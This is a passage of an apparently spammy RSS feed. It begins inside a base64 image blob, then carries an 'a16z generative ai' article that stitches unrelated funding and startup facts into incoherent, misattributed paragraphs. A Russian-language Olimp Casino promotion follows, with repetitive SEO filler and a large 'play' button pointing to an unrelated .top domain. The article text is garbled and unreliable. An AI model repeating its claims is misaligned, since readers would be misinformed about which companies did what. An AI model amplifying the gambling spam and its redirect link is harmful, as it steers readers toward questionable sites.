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" width="302px" alt="a16z generative ai"/></p>
<p><p>The startup was co-founded by Chief Executive Officer and serial entrepreneur Munjal Shah and a group of physicians, hospital administrators, healthcare professionals and AI researchers from organizations including El Camino Health LLC, Johns Hopkins University, Stanford University, Microsoft Corp., Google and Nvidia Corp. PIP Labs, an initial core contributor to the Story Network, is backed by investors including a16z crypto, Endeavor, and Polychain. Co-founded by a serial entrepreneur with a $440M exit and DeepMind’s youngest PM, PIP Labs boasts a veteran founding executive team with expertise in consumer tech, generative AI, and Web3 infrastructure. The startup has also created other AI agents for tasks like pre- and post-surgery wound care, extreme heat wave preparation, home health checks, diabetes screening and education, and many more besides. The startup said its AI Agent creators include Dr. Vanessa Dorismond MD, MA, MAS, a distinguished obstetrician and gynecologist at El Camino Women’s Medical Group and Teal Health, who helped to create an AI agent that’s focused on cervical cancer check-ins and enhancing patient education. According to the startup, the objective of these AI agents is to try and solve the massive shortage of trained nurses, social workers and nutritionists in the healthcare industry, both in the U.S. and globally.</p>
</p>
<p><h2>TechBullion</h2>
</p>
<p><p>The same day, a16z also led a Series A investment in Slingshot AI, which has raised a total of $40 million to create a foundation model for psychology. Those investments highlight the commitment of the group to using AI to address important issues and are also focusing on how AI can improve different industries, including healthcare and consumer services. In general, a16z is committed to supporting AI innovations that could have a profound impact on society. We are thrilled to see our models used in Story’s blockchain technology to ensure proper attribution and reward contributors,” said Scott Trowbridge, Vice President of Stability AI. Others include Kacie Spencer, DNP, RN, the chief nursing officer at Adtalem Global Education Inc., who has more than 20 years of experience in emergency nursing and clinical education. Her AI agent is focused on patient education for the proper installation of child car seats.</p>
</p>
<p><p>It participated in an Anysphere round that had the company raising $105 million on January 14, 2025, when it pushed the valuation up to $2.5 billion. Beyond this, it has also released a $500 million Biotech Ecosystem Venture Fund with Eli Lilly to place a focus on health technologies, but with the aspect of innovative applications. On the same day, they led a Series A investment in Slingshot AI, a company that&#8217;s developing advanced generative AI technology for mental health. Additionally, a16z invested in Raspberry AI to bring generative AI to the front of fashion design and production. In December 2024, they envisioned a future in which AI was used aggressively in nearly all sectors.</p>
</p>
<ul>
<li>The startup said its AI Agent creators include Dr. Vanessa Dorismond MD, MA, MAS, a distinguished obstetrician and gynecologist at El Camino Women’s Medical Group and Teal Health, who helped to create an AI agent that’s focused on cervical cancer check-ins and enhancing patient education.</li>
<li>Andreessen Horowitz, or a16z, is one of the leading AI investors and targets only innovative startups.</li>
<li>Hippocratic AI said it’s necessary to have clinicians onboard because they have, over the course of their careers, developed deep expertise in their respective fields, as well as the practical insights to help cure specific medical conditions and the clinical workflows involved.</li>
<li>It says clinicians can create an AI agent prototype that specializes in their area of focus in less than 30 minutes, and around three to four hours to develop one that can be tested.</li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://vibrantsumerpur.com/vibrant/a16z-generative-ai-8/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>официальный сайт в Казахстане Olimp Casino.17821</title>
		<link>https://vibrantsumerpur.com/vibrant/oficialnyj-sajt-v-kazahstane-olimp-casino-17821/</link>
					<comments>https://vibrantsumerpur.com/vibrant/oficialnyj-sajt-v-kazahstane-olimp-casino-17821/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 26 Jun 2026 14:43:13 +0000</pubDate>
				<category><![CDATA[news]]></category>
		<guid isPermaLink="false">https://vibrantsumerpur.com/vibrant/?p=14305</guid>

					<description><![CDATA[Олимп казино официальный сайт в Казахстане &#8211; Olimp Casino ▶️ ИГРАТЬ Содержимое Преимущества игры в Olimp Casino Как начать играть в Olimp Casino Шаги для начала игры Бонусы и акции Olimp Casino Если вы ищете надежный и безопасный способ играть в онлайн-казино, то Olimp Casino &#8211; это отличный выбор для вас. Олимпбет (Olimp Bet) &#8211; [&#8230;]]]></description>
										<content:encoded><![CDATA[<h1>Олимп казино официальный сайт в Казахстане &#8211; Olimp Casino</h1>
<p>                <a href="https://w3n7z2qt.top/v1GxGYrB" style="display: inline-block; background-color: #28a745; color: white; padding: 36px 84px; font-size: 54px; font-weight: bold; border-radius: 16px; text-decoration: none;"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/25b6.png" alt="▶" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ИГРАТЬ</a></p>
<p class="toctitle" style="font-weight: 700; text-align: center">
<h2 style="vertical-align: inherit">Содержимое</h2>
</p>
<ul class="toc_list">
<li>
<h3><a href="#t1">Преимущества игры в Olimp Casino</a></h3>
</li>
<li>
<h3><a href="#t2">Как начать играть в Olimp Casino</a></h3>
</li>
<li>
<h3><a href="#t3">Шаги для начала игры</a></h3>
</li>
<li>
<h3><a href="#t4">Бонусы и акции Olimp Casino</a></h3>
</li>
</ul>
<p>Если вы ищете надежный и безопасный способ играть в онлайн-казино, то Olimp Casino &#8211; это отличный выбор для вас. Олимпбет (Olimp Bet) &#8211; это официальный сайт казино в Казахстане, который предлагает широкий спектр игр и услуг для игроков.</p>
<p>Олимпбет &#8211; это платформа, которая обеспечивает безопасность и конфиденциальность игроков. Она использует современные технологии для защиты данных и обеспечивает быстрый доступ к играм. Олимпбет также предлагает широкий спектр бонусов и акций для новых и постоянных игроков.</p>
<p>Олимпбет &#8211; это отличный выбор для игроков, которые ищут надежный и безопасный способ играть в онлайн-казино. Олимпбет предлагает широкий спектр игр, включая слоты, карточные игры, рулетку и другие. Олимпбет также предлагает мобильную версию сайта, чтобы игроки могли играть в любом месте и в любое время.</p>
<p>Если вы ищете официальный сайт казино в Казахстане, то Olimp Casino &#8211; это отличный выбор для вас. Олимпбет &#8211; это надежный и безопасный способ играть в онлайн-казино, и мы рекомендуем вам попробовать его.</p>
<p>Олимпбет &#8211; это официальный сайт казино в Казахстане, который предлагает широкий спектр игр и услуг для игроков. Он обеспечивает безопасность и конфиденциальность игроков, и предлагает широкий спектр бонусов и акций для новых и постоянных игроков.</p>
<p>Олимпбет &#8211; это отличный выбор для игроков, которые ищут надежный и безопасный способ играть в онлайн-казино. Мы рекомендуем вам попробовать Olimp Casino и насладиться игрой.</p>
<p>Олимпбет &#8211; это официальный сайт казино в Казахстане, который предлагает широкий спектр игр и услуг для игроков.</p>
<p>Олимпбет &#8211; это надежный и безопасный способ играть в онлайн-казино.</p>
<h2 id="t1">Преимущества игры в Olimp Casino</h2>
<ul>
<li>Большой выбор игр: на сайте Olimp Casino представлено более 1000 игр, включая слоты, карточные игры, рулетку и другие азартные игры.</li>
<li>Безопасность: Olimp Casino использует современные технологии для обеспечения безопасности игроков и защиты их данных.</li>
<li>Промокоды и бонусы: на сайте Olimp Casino регулярно предлагаются промокоды и бонусы, которые помогут вам начать играть и увеличить свои выигрыши.</li>
</ul>
<p><a href="https://www.theatomproject.org/">олимп</a> бет скачать &#8211; это отличный способ начать играть и испытать свою удачу. Олимпбет &#8211; это официальный сайт в Казахстане, который предлагает игрокам широкий спектр игр и обеспечивает безопасность и конфиденциальность их данных. Олимп казино &#8211; это место, где вы можете испытать свою удачу и получить реальные выигрыши.</p>
<h2 id="t2">Как начать играть в Olimp Casino</h2>
<p>Если вы решили начать играть в Olimp Casino, то сначала вам нужно зарегистрироваться на официальном сайте olimp.bet. Вам потребуется только несколько минут, чтобы создать аккаунт и начать играть.</p>
<p>Для начала вам нужно выбрать тип игры, который вам интересен. Olimp Casino предлагает широкий спектр игр, включая слоты, карточные игры, рулетку и другие. Выберите игру, которая вам понравилась, и начните играть.</p>
<h3 id="t1">Шаги для начала игры</h3>
<p>Шаг 1: создайте аккаунт на официальном сайте olimp.bet.</p>
<p>Шаг 2: выберите тип игры, который вам интересен.</p>
<p>Шаг 3: начните играть, используя ваш аккаунт.</p>
<p>Важно помнить, что Olimp Casino предлагает безопасную и надежную игру. Вам не нужно беспокоиться о безопасности вашей информации, так как сайт использует современные технологии для защиты данных.</p>
<p>Также, Olimp Casino предлагает различные бонусы и акции для новых игроков. Вы можете получить дополнительные деньги для игры, если вы зарегистрируетесь на сайте.</p>
<p>Важно! Не играйте в Olimp Casino, если вы не достигли 18 лет. Играть в казино &#8211; это только для взрослых.</p>
<p>Наконец, Olimp Casino предлагает 24/7 поддержку для игроков. Если у вас возникнут вопросы или проблемы, вы можете обратиться к поддержке сайта.</p>
<p>Таким образом, Olimp Casino &#8211; это отличный выбор для игроков, которые ищут безопасную и надежную игру. Начните играть сегодня!</p>
<h2 id="t3">Бонусы и акции Olimp Casino</h2>
<p>Кроме того, Олимпбет предлагает свою программу лояльности, которая позволяет игрокам получать бонусы и акции за каждую сделанную ставку. Это означает, что игроки могут получать дополнительные бонусы и акции, просто играя на платформе. Олимпбет также предлагает свою программу реферальной системы, которая позволяет игрокам получать бонусы и акции за приглашение друзей на платформу.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://vibrantsumerpur.com/vibrant/oficialnyj-sajt-v-kazahstane-olimp-casino-17821/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>